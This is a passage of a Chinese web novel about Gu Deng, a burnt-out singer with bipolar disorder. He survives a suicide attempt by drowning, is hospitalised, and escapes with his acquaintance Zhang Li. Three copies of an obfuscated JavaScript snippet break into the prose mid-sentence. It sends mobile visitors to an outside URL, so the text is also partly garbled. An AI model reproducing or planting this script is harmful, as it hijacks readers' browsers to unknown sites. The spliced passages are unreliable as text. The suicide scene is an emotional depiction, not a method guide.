“那你……”章离罕见地迟疑起来，过了一会儿才说，“你想去看驯鹿迁徙吗？” 顾灯愣了下，又摇头：“我这个体力可不行。” “我重新制定了一条低难度的路线，你只要跟随几个关键地点就行。”章离说完从口袋里掏出一张纸，上面用手绘了驯鹿迁徙地图，在每个节点，都详细地标注了停留信息。 原本500公里的徒步路线，现在改为小飞机和徒步结合，只在几个关键的地方停留，难度大大降低。 纸和蜡笔都是民宿的，这份计划应该是昨晚熬夜赶制。可章离为什么要邀请他？甚至不惜更改自己的路径？ 顾灯有些感动，可他确实没法儿再去了，只得把路线图还给章离，说：“谢谢你邀请我，但还是算了吧。” 章离没再说话，顾灯也保持沉默，只有海浪声此起彼伏。不知过了多久，路边传来发动机的声音，顾灯迅速抬起头，才发现车只是经过。 他微微吐出一口气，问：“章离，你想和我睡觉吗？” 这话太突兀，也太过自然，章离甚至都没反应过来。 顾灯又说：“啊，我的意思就是上.床，做.爱。” 章离依旧没吭声，但脸色却变得有些难看。 顾灯明白了：“原来你不想。” 顾灯有些苦恼，他已经写不出歌，除了这副还算不错的皮囊，是真没什么能给出去的了。 可章离不要。 空气变得更安静了，仿佛连海浪声都一同消失。就在这时，又有一辆车过来，顾灯还想说点儿什么，章离已经起身朝路边走去，没有一丁点儿犹豫。 章离大概是生气了，这让顾灯最后想说点儿什么的想法也破灭了。 也是，他刚才多冒犯啊，差不多都是性骚扰了。顾灯沮丧极了，他低下头，小声说了句对不起。 可奇怪的是章离并没有就此离开，他向开车的人借了支笔，正往纸上写东西。然后他又回来了，把那张手绘地图放在椅子上。 顾灯抬头看他，紧抿嘴唇。 章离注视着顾灯紧绷的脸，说：“我3天后从安克拉治出发，如果你改变主意，打上面的电话找我。” 顾灯愣愣地看着那张纸，风把纸吹得飘起来，他连忙伸手按住。等他重新抬起头，章离已经搭车离开了。 顾灯在海边的椅子上坐了一下午，随后续订民宿，又开始写首歌。硬写的感觉很痛苦，可顾灯还试图写点儿什么。 他之前在网上看过一个帖子，有人说他明明过得很幸福，不缺钱也不缺时间，全世界到处玩儿，可不知道为什么依旧会觉得空虚。 当时那个高赞的评论说，那是因为你只是享受，没有创作和输出，时间久了自然就无聊了。 当时的顾灯还很庆幸，心想他比大多数人都要幸运，早早就选择了创作这条路，不用再烦恼这些问题。只要他还在写歌，他就拥有自我价值，不会感到虚无。 直到有天，他发现自己写不出东西了。 这种发现不是瞬时的，而是经历了一个漫长的时期。就像是衰老剥夺人的健康、好奇心、专注力，上天也以这种缓慢又残忍的方式，逐渐剥夺了他的才华、灵感和创造力。 起初顾灯并没有在意，乐评人和歌迷也没有察觉，直到一年过去，顾灯没能写出任何东西。 这对顾灯来说是不可能的事情。 从他12岁出道一直到25岁的鼎盛期，就算是开演唱会，顾灯也雷打不动一年出一张专辑，状态好时甚至可以出两张。他也经常在社交平台发各种demo，即兴演奏。 那时音乐对他来说就仿佛和呼吸一样简单，他天生就有一副好嗓子，再加上极强的创造力，随便玩玩就能写出大家喜欢的音乐，《宇宙糖》他甚至只花了5分钟就写出来了，至今还是打榜情歌人气榜第一。 那时的他年轻气盛，以为生活会永远闪耀快乐。直到第二年，他依旧没能写出东西，就算勉强写出来也不对劲，怎么看都不对劲。 圈内好友评价他对自己要求太高，可顾灯完全不觉得，在他的标准里，这堆东西就是垃圾，他不会容忍这些东西以他的名义发出去。 又有人建议他停下来好好休息，顾灯照做，却引发了更大的焦虑。因为他发现自己根本就停不下来。就算他强迫自己停下，脑海里也充斥着各种旋律。 顾灯以为自己只是在瓶颈期，直到私人医生在他体检单上加了项心理评估——他竟被查出了重度抑郁。 这个结果完全出乎顾灯意料。 周围的人毫无头绪，顾灯不知道问题出在哪里。虽然他小时候是被收养的，但收养他的是他亲姨妈，对他也一直客客气气，没有任何偏心虐待之举。他没有遭遇过重大打击，也没有经历过勾心斗角的职场环境。 他出名又有钱，只不过是写不出来东西，怎么就重度抑郁了呢？ 确诊头一年，顾灯完全无法接受自己有了抑郁，他还在认真生活，积极配合治病。却没想到一年后，他又被确诊为双相障碍。心理医生解释之前的抑郁症是误诊，因为双向障碍有很强的误导性，病人大多只会在抑郁期求医。 双相就双相吧，他已经无所谓了，而且顾灯还挺喜欢轻躁狂发作的感觉。 顾灯又治了半年，连心理医生都说他状态好转，可奇怪的是，他还是写不出东西。顾灯又以为这是药物影响，他偷偷停了三个月的药，还是只能写出一堆垃圾。 从发病后到确诊，他努力了整整四年。可最后却发现，他再也写不出任何东西了。 完蛋了。 顾灯的天塌了。 写不出歌的歌手还是歌手吗？不当歌手的他还是顾灯吗？ 不是了，一旦他停止创造，属于他的意义就消失了。 顾灯被一股巨大的无意义感击溃，无法享受，也无法停止，除非他再次写出自己满意的歌曲。 章离离开后，顾灯又熬了个大夜。他看着漆黑的大海，试图回忆起灵感充沛的曾经。可直到天边泛白，他依旧没能写完那首歌曲。 至此，他终于放弃。 他又想，世界是公平的，这些年来他凭借创作脱颖而出，收获了无数喜爱和荣誉。但终于，也被老天爷一点点收了回去。属于他的赦免消失了，他也开始和世间大部分人一样，变得痛苦、迷茫又彷徨。 第二天，顾灯买下了一艘皮划艇，说自己要去远途旅行。房东大叔很热情，还送了他两根香蕉让他路上吃。 顾灯又去了那个峡湾，峡湾依旧纯净静谧，但这次没有鲸鱼和章离。 他关掉发动机，用大海和冰川隔绝一切人类踪迹，置身其中，会让人感到一股巨大的震撼和孤寂。但顾灯不怕，他喜欢这样待着。只有当他独处时，他才是完整的自己。 顾灯躺在皮划艇上，看着夕阳从海面坠落，然后头顶升起满天繁星。微凉的海风穿过他身体，仿佛一只无形的手安抚着情绪。 真好，临近生命结束，他似乎又拥有了感受美好的能力。 顾灯闭上眼，跳进海里。 入水时很冷，可很快他便感到一种难以言喻的温柔。海水温柔地包裹他，像是回到了母亲的子宫里。 他想，他马上就要死了。那些开心的、难过的、痛苦的情绪都将消失，他不会再看见今天这样温柔的日落，不会再听见大海深处响起鲸鸣。音乐、美食、猫咪小狗，钢琴、贝斯、吉他和鼓，山川、大海、太阳月亮，还有他的思想，他的品味，他的创作……什么都没有了。世间所有都将随着他的死亡而消失。他再也无法发出声响，甚至唱不出一个音符，他的痛苦无人知晓，他的欢乐无人感受。一切意义都将消融，一切存在都会灰飞烟灭。世界在此刻坍塌，化为虚无。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15463574|169754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想到这里，顾灯突然有点儿伤心，心跳也开始加剧。氧气消耗增多，他开始感到痛苦。 可为什么要是他呢？ 为什么要让他在小小年纪就接触音乐，让他再也无法做别的事情呢？ 从7岁时第一次登台唱歌，到29岁决定结束生命，他人生四分之三的时间都和音乐绑定，音乐陪他长大，也让他实现了人生价值。 人人都说上帝偏爱他，可为什么，又要让他在最鼎盛时期再也写不出任何东西？ 最初丧失灵感的那几年，也有人劝他写不出歌也没关系，你现在名利双收，完全可以去做别的事情。世间那么多人比你穷比你苦，还不是在挣扎着活下去？你怎么就不行呢？ 是啊，他怎么就不行了？顾灯也试图这样安慰自己，可他很快就发现这种假设毫无意义。他不能没有音乐，一旦放弃音乐，他就不再是他自己。 他死磕了四年，撕碎无数手稿，一遍遍自我怀疑，还是无法回到曾经。 其实他早该明白，当他把一切都寄托于音乐时，就应该明白这是把双刃剑，一旦他哪天写不出来歌，他就完蛋了。可人在幸福时很难反思自己，他被这绚烂的幸福迷晕了眼，以为自己是特殊的，以为这种天赋源源不断，绝不终结。直到光环褪去，才发现原来他也只是一个普通人。 真可笑，都到了这种时候，他竟然还会感到不甘。 是啊，难道他就要这样死掉吗？ 不然呢？除此以外，你还能在哪里找到安宁？ 想要呼吸的欲望更强了，求生本能涌向他的神经。可顾灯只是屏住呼吸，放任身体往大海深处沉去。心跳变得更缓了，血液开始往心脏和大脑聚集，顾灯逐渐感到身体麻痹，大脑中开始出现幻觉。 他想，这就是传说中的走马灯吧。 他这一生也算波澜壮阔，登上过高峰，也经历过低谷。可奇怪的是，临死之际，他却想起了高中的一个普通午后。 那时他早已大红大紫，却也和每一个普通的学生一样，坐在拥挤的教室里背古文。 和大部分高中生一样，当时的他也不能完全理解这段古文的含义。但他是个好学生，他会听老师的话，好好记下这些。 他背下的……是什么呢？ 氧气消耗加剧，顾灯开始感到孤独、痛苦、无助，几乎无法继续思考下去。 他清晰地意识到，死亡马上就要来了。 就在这时，远处突然传来一阵诵读声： “古者富贵而名摩灭，不可胜记，唯倜傥非常之人称焉。盖文王拘而演《周易》；仲尼厄而作《春秋》；屈原放逐，乃赋《离骚》；左丘失明，厥有《国语》；孙子膑脚，《兵法》修列；不韦迁蜀，世传《吕览》；韩非囚秦，《说难》《孤愤》；《诗》三百篇，大底圣贤发愤之所为作也。”① 那些早已面目模糊的高中同学，夹杂着十几年前顾灯自己的声音，穿过时空抵达了这里。 背下来的整整十年里，顾灯都没法儿理解这段话的含义。他当时太年轻，也太顺遂，不知道这段文字里的痛苦意味着什么，也不知道先贤们忍受这些痛苦，需要多大的决心和意志力。 他只是记住了这段话。 又在十几年后从鼎盛跌入低谷，恰好和这段文字实现了共鸣。 原来早在两千多年前，就已经有这么多人和他有同样的遭遇。他不是孤单一人，这世上还有人和他一样痛苦，迷茫，不知所措。 浑厚的海水包裹着他，仿佛一个无形的拥抱。 肺部的氧气更少了，连大脑也开始变得迟钝。浓稠的黑暗中，顾灯猛地睁开眼睛——原来他不是真的想死，他只是不知道该如何活着。 顾灯拼劲全力游向海面，可周围一片漆黑，根本不知方向在哪里，他只是凭借本能往上游去。 嘴巴和鼻腔溢出一连串小泡泡，这是氧气被带走的证据。海水挤压着他，渴望呼吸的痛苦加剧。又一个泡泡像小鱼一样溜走，他终于呼出了身体里的全部空气。 顾灯漂浮在黑暗的海水中，感到了一股强烈的恐惧。 曾经他觉得死亡是解脱、是安详，能给他带来平静。直到现在他才发现，原来死亡还是痛苦，是掠夺，是一种毁灭。 他出现了短暂的晕厥，再次恢复意识时，他听见了一阵海浪声。 顾灯拼尽全力朝着声音方向游去，此时他的身体已经没有储存任何氧气，肺、心脏、大脑也濒临罢工，只有身体还在机械性运动。 他不想死，他还不想死在这里！ 顾灯“哗”地一声钻出水面，像初生婴儿那样大口地呼吸。 星星消失了，可东方传来光亮，太阳即将升起。 大海和冰川在晨曦中逐渐显形，顾灯爬上橡皮艇，感到了一股强烈的不知所措和欣喜。他第二次获得生命。 7. 行踪暴露 天边的云彩越来越浓，逐渐把冰川染成浪漫的粉紫色。然后太阳升起，平等地照亮每一寸土地。 顾灯一件件脱掉湿透的衣服，赤.裸身体在阳光下吃香蕉。 一整天没进食，他早已饿得前胸贴后背，第一个香蕉吃完都没尝出味儿来，又立刻拿起了第二个。他开始注意到香蕉的形状，颜色，纹理和气味。 香蕉其实是一种非常质朴的水果，方便携带也易于食用。果肉香甜绵密，余味有点儿涩，所以催促人去咬下一口。当整条香蕉都吃完时，顾灯会感到一种质朴的幸福。 顾灯收起果皮，坐在船上继续晒衣服。他觉得周围的一切都新鲜极了，水是冷的，冰是凉的，皮肤是滑滑的。听起来有些不可思议，可他已经很久没有这种具体的感觉了。 他精神放松，逐渐睡了过去。醒来时太阳已经升到头顶，顾灯穿上半干的衣服划船返程。 不知是不是太热，不一会儿他就热出了汗水，顾灯拉开冲锋衣继续划船。可他还是觉得热，太阳晒得他头晕目眩。口渴，想要喝水。 这才4月，按理说不应该这么热才对啊。顾灯舔了舔干涩的嘴唇，又伸手摸了下额头，才发现他是发烧了。 顾灯用水拍湿脸颊，咬牙继续朝岸边划去。太阳越来越大了，他额头渗出密密麻麻的汗液，双手因为划船变得酸软，喉咙干涸，让他不停地舔舐嘴唇。 远方群山高耸，小镇在山脚下变成一条短线，顾灯机械性地转动双手，朝着小镇一点点挪去。 又过了一个小时，皮划艇终于触碰到柔软的沙滩。顾灯丢开船桨站起来，突然头晕目眩，身体跟着栽进了沙滩里。 他度过了一段混乱的梦境，被丧尸追，被狗咬，反复从天台上往下跳。 再次睁眼，顾灯看见了医院冷白的天花板。床边坐着一个穿西装戴眼镜的年轻男人，正低头看手里的平板电脑。 顾灯刚动了下手指，男人便放下平板过来说：“你醒了？” 顾灯张嘴，声音哑得不像话：“哥，你怎么来了？” “你晕倒的视频上了热搜，我离得近就先来了。妈和你经纪人在飞机上，大概还有2个小时落地。” “哦。”顾灯没再说话，似乎有些累了。 又过了一会儿，他又说：“对不起，给大家添麻烦了。” “臭小子，你知道就好，”周必弹了下他额头，语气倒是听不出有多生气，“知不知道你一声不吭就跑到这里，妈有多担心？” 周泽是典型的北京男孩儿，自信热情又大方。顾灯第一次见到周泽时，是他父母过世后2个月，那时他跟随姨妈北上，初来乍到，整个人惶恐又彷徨。 他刚在客厅里坐了一会儿，就有个男孩儿抱着天文望远镜推门进来。男孩儿约莫十来岁，穿着北京天文馆的文化衫，戴着棒球帽，先冲到冰箱里喝了半瓶汽水，回头看见沙发上的顾灯，突然哟了一声，满脸好奇：“这就是我那个老家来的小表弟？” 顾灯被吓得往沙发角里缩，周必便哈哈大笑起来，还说他活像只猫。 晚上大家一起吃了顿饭，顾灯就这样安在姨妈家顿了下来。 他是正经办了收养手续的，又过了一个月，顾灯改口叫姨妈姨父爸妈，也开始直接叫周毕哥。 当时的顾灯和姨妈并不怎么熟悉，只知道姨妈是当年的高考状元，后来一路读研读博，在北京的大学里当老师。 据说她生周必时只有25岁，一边准备研究生毕业论文，一边待产，还要准备申请博士。放到普通人身上，这桩桩件件都是大事，可她竟然同时完成了。 姨父也是大学教授，周必继承了二人的基因，打小就聪明。而且他不是那种埋头苦学的书呆子，在顾灯看来，周必主业就是玩耍，什么去动物园研究大熊猫，参加天文馆夏令营，大半夜不睡觉，一个人骑自行车到门头沟看星星。可奇怪的是，他每次考试都能考第一，回回都能刷新奥赛成绩。 周必偶尔也带顾灯一起玩儿，他那个年纪已经有了善恶心，自然愿意照顾这个可怜巴巴的小弟弟。可惜他们年龄差太多了，见识和体力都不匹配，顾灯虽然懂事，但在一群大男孩儿面前就是个小累赘，再加上顾灯也表现得不是很积极，兄弟俩也就各玩各的了。 周必玩了整个童年和高中时期，直到十八岁出国念书，又一路从研究生念到博士，随后深耕科研，现在是麻省理工学院数学系教授。 这些年来，顾灯和周必都在忙工作，也就逢年过节见一见。现在周必为他特意跑一趟，他还挺不好意思的。顾灯本想说点儿好听的话，又一时间找不到合适的表达，只得尴尬地沉默着。 过了一会儿，一个护士进来说了什么，周必刚听了个头就和护士出去了。大约一分钟后，又回来对顾灯说，他要出去处理些事情，大概十几分钟就回来。 “去吧，我没事儿的。”顾灯说完重新躺下，迷迷糊糊地闭上了眼睛。 不知过了多久，门口传来一阵脚步声。 “哥？”以为是周必回来了，顾灯睁眼睛，却看见了一个陌生的男人。 男人把手机摄像头对准他，很兴奋地朝屏幕里说：“老铁们，说到做到，我这次真是冒着被抓的风险，千辛万苦才潜进大明星顾灯的病房，要你们一个赞不过分吧？感兴趣的老铁也点个关注哈！” 顾灯脸色一变，迅速拉起被子遮住脸，同时按下呼救铃。 男人却没有就此离开，而是伸手扯他被子，又把脑袋凑过来要和他同框。 顾灯死死抓着被子，把所有尖叫都咽下去，只在心里一遍遍默数。当他数到44时，主播尖锐刺耳的声音终于消失，一只大手按在他头顶。 “没事吧？”周必掀开被子一角，说，“哥回来了。” 顾灯没有说话，但也没松开双手。又过了十几秒，当他终于确认安全，才钻出脑袋说没事。 他又问：“刚才是怎么回事？” 周必说：“你住院是被网友爆出来的，你经纪人已经撤了帖子，但还是有不少媒体和网友追到了这里。” “你刚才下去就是处理这件事？” “嗯，没想到被人混了进来，”周必拉了张椅子抵在门口，大马金刀一坐，“从现在起我就坐在这儿，谁也别想进来。” 顾灯似乎是笑了下，说：“要不要这么夸张？” 周必：“那必须的。” 顾灯其实不太喜欢这种被看守的感觉，仿佛又回到了他生病的那段日子里。但他也知道周必是为他好，便做出一副受用的表情。 “哥，”顾灯问周必，“如果以后你不研究拓扑学了，你打算做什么？” 周必：“我不会不研究。” “那假如呢？”顾灯说，“如果你因为某些客观原因不能继续研究，那你打算做什么？” 周必沉默了一会儿，说：“我不知道。” 顾灯有些意外：“你也不知道啊？” “我为什么要知道？”周必笑了，“我又不用操心这种问题。” “哦。”顾灯也意识到了，自己的假设没有意义。 “但如果真有那么一天，”周必说，“可能我也会和你做一样的事情。” 顾灯惊讶地抬起头。 “很意外吗？”周必问。 顾灯摇头，有些不知道该怎么回答：“不是，我就是……” “公路电影里不都这么演吗？主角因为工作生活或者情感失意，说走就走，在旅行中重新找回生活的勇气。” 顾灯低着头没有回答。 周必又问：“你呢？这一路有没有遇见什么人？发生什么有趣的事情？” 顾灯呆了一会儿，突然开始低头翻身上的口袋。可他穿着医院的病号服，里面没有任何东西。 “哥，我外套呢？” “在这儿呢。”周必把冲锋衣递给他。 顾灯拉开口袋一看，却只掏出了一团软趴趴的废纸——纸张早已被海水泡烂，地图变得模糊不清，他失去了章离的联系方式。 “怎么了？丢东西了？”周必伸手在他眼前晃了晃。 “没事儿，”顾灯吸了吸鼻子，摇头说，“反正也不是什么重要的东西。” 顾灯躺在病床上，这一瞬间想了许多问题。 首先，也是最重要的，他打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15463575|169754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算继续活着。 其次，也是最困难的一个问题，继续活下去，就会继续承受痛苦。既然他的痛苦来自于写不出歌，那不如干脆放弃。放弃音乐，放弃写歌，放弃创作，痛苦自然也就消失了。 可如果不写歌，他又还能做什么事情？ “嗡嗡——” 手机振动声打断了他的思绪。 “妈？”周必接通电话，说，“你们已经落地了？……我在医院，小灯看起来还不错，就是发烧了，还有点儿贫血，现在情况已经稳定了。……行，那我等你们过来啊。要不要先和小灯聊聊？”周必抬起头，把手机递给了顾灯。 顾灯犹豫一会儿才接过，冲电话那头喊妈妈。 “听说你生病了，严不严重？” “不严重，就是发烧而已。” “自己这么大了，要保重身体。” “嗯，我知道。” “你经纪人也在我旁边，是她告诉我你在这里，来的路上也一直在处理你的事情，她其实很担心你。” 顾灯低下头，小声说：“对不起。” “你有空道歉，不如振作起来收拾这堆烂摊子。”一道清脆爽利的声音响起。 顾灯和沈青岚认识十几年，早就摸清了双方的脾气和秉性，张口就来：“这点儿摊子算什么，都不用岚姐亲自出手，你指导小米处理就行。” 小米是工作室2年前新招的助理，大学刚毕业，主打一个清澈愚蠢。 “又贫嘴，”沈青岚笑骂，又说，“看你这么生龙活虎我就放心了，好好休息，我们半个小时后到。” “好。”顾灯点头，很是乖巧。 “听周必说医院门口聚集了不少粉丝，你先想想，等会儿要不要露面，我不干涉你的决定。” “谢谢岚姐，我知道了。”顾灯说完挂断电话，把手机还给了周必。 “终于要来了，”周必伸了个懒腰，也跟着松了口气，“说实话，外面你那堆狂热粉丝，靠我自己还真搞不定。” 顾灯没有说话，过了一会儿突然问：“哥，能帮我买身衣服吗？我不想穿这个见她们。” 周必笑了：“都是一家人，你别扭个什么劲儿？” 顾灯：“你就当我有偶像包袱吧。” 顾灯也是个大明星，衣品确实不错，还是什么奢侈品牌的全球代言人，让他穿病号服确实有些委屈了。 周必点头：“买衣服倒是没问题，可我怕离开这里，又有人闯进来。” 顾灯：“这是私人病房，你走了后我把门反锁就行。” “那也行。”周必又仔细问顾灯要穿什么类型，才拿着手机出了门。 一秒、两秒、三秒……十秒钟后，顾灯立刻从床上爬起来，单手扒掉输液针，又留了张手写纸条，穿着脏衣服就往外面跑。 他走得干脆，却在医院门口猛地停了下来。门外亮起了一排小夜灯，每一盏灯光背后，都是一张忧心忡忡的脸。 这么偏僻的地方，竟然能在短期内聚集这么多人。虽然也有网红闯进他病房，但顾灯能看出，更多还是担心他的普通人。大家都在关心他，他不该这么不负责任的离开。 可……可他已经四年没出专辑，甚至以后再也写不出任何东西，他还有资格再得到大家的关心吗？ 顾灯隔着玻璃注视着人群，然后转身往相反的方向走去。 他费了些力气才离开医院，却没想到竟在停车场遇到了经纪人她们。顾灯下意识缩到了车后，可医院规模不大，停车场也空旷，这边有经纪人，那边就是歌迷，顾灯环顾四周，竟发现自己无处可去。 “滴——” 停车场角落突然响起一道喇叭声。 沈青岚抬头看了眼，发现是一辆改装皮卡，北美地区常见的车型，车和人她都不认识，于是转身朝医院走去。 顾灯躲在角落，心脏却猛地跳动起来，他心中有个猜测，可是又不敢细想。 不能够吧？章离怎么可能出现在这里？ 顾灯毫不犹豫转身离开，头顶却传来一道熟悉的声音：“上车。” 车窗降下，顾灯看见了章离。 8. 逃避有用 顾灯躲进副驾驶，直到看见经纪人离开，这才抬头：“你怎么过来了？” “我在网上看到你住院，过来看看。” “那你怎么不上去？” “周必不让我上去。” “你们认识？”顾灯有些意外。 “我是他们学校的客座教授，有一些交集。” 顾灯表情警惕起来。 “我不知道你们是兄弟，”章离说，“要是我和他有联系，也不会被拦在这里。” 顾灯沉默了一会儿，似乎相信了他的说辞。 章离发动引擎，问顾灯：“你要走还是？” “走，”顾灯说，“先离开再说。” 顾灯其实没想好要去哪儿，让章离先随便开。皮卡车围着小镇转了一圈，顾灯还是没想好要怎么办。 一直在镇上逛反而很奇怪，章离建议先找个地方先坐下，顾灯同意了。不久后，皮卡车停在海边的一家小店旁，推门进去，里面放着密密麻麻的书籍。 守店的是位老奶奶，笑着说：“你怎么过来了？” 章离：“带朋友来看看。” 奶奶：“还是老位置？” 章离点头，带顾灯上了二楼。 楼下是一间紧凑的书屋，没想到二楼竟有一大片落地玻璃，窗户框住冰川和大海，赫然一副天然的挂画。窗户前放着三张小木桌，等人落座。 这座楼建得太巧妙了，风景和品味都是顶级。就是位置太过偏僻，还没火到ins和小红书。 顾灯和章离在床边坐下，奶奶端来两杯咖啡，还有一小盘赠送的蓝莓树莓混合果干，说是她们去年秋天自己在野外采的。 顾灯礼貌地尝了下，听见章离问：“要我下去吗？” 顾灯有些意外地抬起头，感激道：“麻烦了。” “行，”章离端起咖啡起身，“我下楼查点儿资料，你有事叫我。” 顾灯松了口气，又对章离说谢谢。 章离离开后，二楼就彻底安静了下来，但也不是完全的寂静，玻璃窗开了一扇，能听到外面的海浪声和海鸥声。 顾灯就坐在窗户前，像个普通游客一样慢悠悠的喝完咖啡，又把果干也吃干净，这才分析起当下的情境。 虽然有些愧疚，但顾灯并不后悔当时离开医院。他知道别人都是关心他，但身体的反应比想象中更诚实，他不想待在那样的环境里。 一想到要在母亲面前装没事儿，要配合经纪人处理那一堆烂摊子，还要面对心理医生的重重询问，顾灯就会感到窒息。 可直接消失，他也做不到这么决绝。 有了家人、经纪人和粉丝的支持他才有了今天的成绩，要是拍拍屁股就走人，未免也太过决绝。 顾灯叹了口气，有些头疼地想，要是他当初没晕倒就好了，哪怕是变成一只动物，一张桌子，也好过面对今天这种困境。 黄昏时，章离再次上楼。 顾灯正看着窗外的大海发呆，看见章离上来，立刻露出了可怜巴巴的表情。 章离：“还没想好？” 顾灯摇头：“毫无头绪。” 他绞尽脑汁，都想不出来一个让双方都满意的方案。 “那先吃饭。”章离递来一张菜单，让顾灯选更喜欢哪个套餐。 顾灯随便指了一个，单手撑下巴看着章离。 “还有别的？”章离抬头问，因为是起身时做的这个动作，所以拉近了双方的距离。 顾灯没有回答，只是继续看着他。章离天生就长了一副食欲旺盛的样子，大浓眉、高鼻梁、双眼皮，嘴唇偏厚，人中明显，下颌线也很鲜明——章离五官相当肉.欲，只是平时气质凶冷，压过了这种原始的感觉。 顾灯突然问：“你是不是三餐都很规律？” 章离抬眉：“你不是？” 顾灯当然不是，他三餐可太不规律了。作息颠倒，暴饮暴食，又或者一天只吃一顿，活得潦草又随意。 章离试图理解顾灯这么问的原因，问：“你不想吃晚饭？” 顾灯确实没什么胃口，可又觉得吃点儿也没关系。 “没，”顾灯摇头，“我就是有点儿好奇，你就没有压力大，或者感到焦虑的时候吗？” 章离停下动作，沉默了一会儿才说：“我有。” “那你怎么解决的？” “我的方法不适合你。” “哦，那算了吧。”顾灯点头，语气倒也听不出失落。 章离却在他对面坐了下来，说：“你遇到麻烦了？要我帮忙吗？” 顾灯有些想笑，随口问：“你能帮我什么啊？” 章离：“什么都行。” 顾灯这下是真笑了，摇头说：“我的问题你解决不了，我自己都不知道我有什么问题。” 章离看了他一眼，没再出声。 顾灯感觉有点儿尴尬，他不想气氛太沉重，又主动挑起话题：“我们在这儿吃？” “是。”章离说完，拿着菜单离开了。 晚餐来得很快，上桌时太阳都还没落山。顾灯食欲一般，吃了四分之一就饱了。 章离迅速解决完食物，抬头问：“你不吃了？” 顾灯说是，又有些懊恼地补充：“忘了少点一些。” “这里只卖套餐，你少点也没用。”章离说完，朝顾灯伸出右手。 顾灯：“？” 章离点了点餐盘，说：“给我吧。” 顾灯脑袋都没反应过来，就已经把东西递了出去。章离餐盘，继续吃里面的东西。 顾灯终于反应过来，然后就是尴尬。 他从来不会干这种事情，让别人吃他剩饭什么的……可章离的表情太自然了，没有一点儿强迫或者嫌弃的意思。又或者是他只是单纯地珍惜粮食？毕竟章离常年在野外活动，肯定对食物有更深的感情……吧？ 嗯，应该就是这样而已。顾灯喝完半杯水，也调整好了自己的心情。 章离吃完东西，又主动收拾桌子，拿着餐盘下了楼。 门外有游客好奇张望，明明还是营业时间，店里也有人，怎么就挂上了“CLOSE”的牌子。 有人隔着玻璃询问，老奶奶就说今天有事闭店啦，请明天再来吧。 章离把餐盘放进洗碗机，说：“谢谢您。” 奶奶摇头，笑着摆手说：“你帮我们这么多，这点事不过小菜一碟。” 章离端着两杯热水上楼，发现顾灯从座位走到了楼梯口。 “抱歉，我刚才不该说你帮不上忙，”顾灯侧身让章离过，又说，“你来医院看我，把我从医院接走，又给我找了这个安静的地方，你其实已经为我做了很多。” 章离听他说完，摇头说没事。 沉默了会儿，他又说：“我那个方法，你确实没法儿做。” 顾灯点头：“嗯，我知道。” 这件事就算说开了，章离把水杯放到顾灯面前，顺势坐下了。顾灯捧着杯子，说了声谢谢。 没人再说话，但奇怪的是顾灯并不觉得尴尬。对顾灯来说，这是一件很难以置信的事情，毕竟他们刚才还差点儿闹不愉快，现在又能安静地坐在一起喝热茶。 顾灯又开始思考这个问题，为什么他在章离面前不会感到压力？ 是因为旅行特殊环境加成？好像也不是，他之前也旅游过，但很难彻底放松。 或者是因为他们萍水相逢，所以他不用在乎章离如何看待自己？毕竟章离不是他粉丝，而且早就见过了他狼狈的样子。 可顾灯也不觉得全是，他感觉，章离身上有一股神奇的特质，他的体型、性格、举止，让他看上去就像一只巨大的玩具棕熊，温暖而柔软，会耐心地听孩子入睡前的喋喋不休。 “那个……”顾灯食指摩擦着水杯，试探地开口。 “嗯？”章离已经抬起了头。 “你应该也知道一点我的情况吧？”顾灯组织着语言，说，“我遇到了一些问题，本来打算消失一段时间，等想清楚了再和大家交代。没想到突然晕倒上了热搜，让这么多人大老远飞过来。但其实我还没准备好和大家见面，可就这样消失也不行，他们千里迢迢过来，我不想让人伤心。” “我听懂了，”章离点头，说，“你现在的情况是不想见他们，但也不想直接失踪。进一步说，你其实是想让大家理解你的处境，然后给你留出一段时间独处。同时，也尽可能不损害你们之间的感情。” 很准确的总结，顾灯点头：“是这样。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15463576|169754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 章离：“你如果不想露面，那么在社交软件上表达呢？” 顾灯想了想，说：“方法没问题，但我微博是经纪人在管，我登不上。” 倒也不是经纪公司限制他，这个账号最初就是岚姐运营。顾灯出道时太小了，12岁的漂亮小男孩儿，私信简直不堪入目。为了保护顾灯，微博一直是岚姐在打理，只有二人见面，岚姐才会允许顾灯自己回一些评论。 顾灯自己也有小号，各种梗玩得飞起，倒也不觉得有什么限制。 直到成年后，顾灯才彻底接管了自己微博，偶尔他被黑子攻击，也会把微博交给岚姐打理。 因为他有个被工作室成员广为诟病的弱点，他至今依旧接受不了别人对他的恶意。 公众人物不可能没有黑粉，顾灯虽然是原创歌手，可他长得好看啊，一下就大火了，粉丝多了，无可避免会吸引黑子。 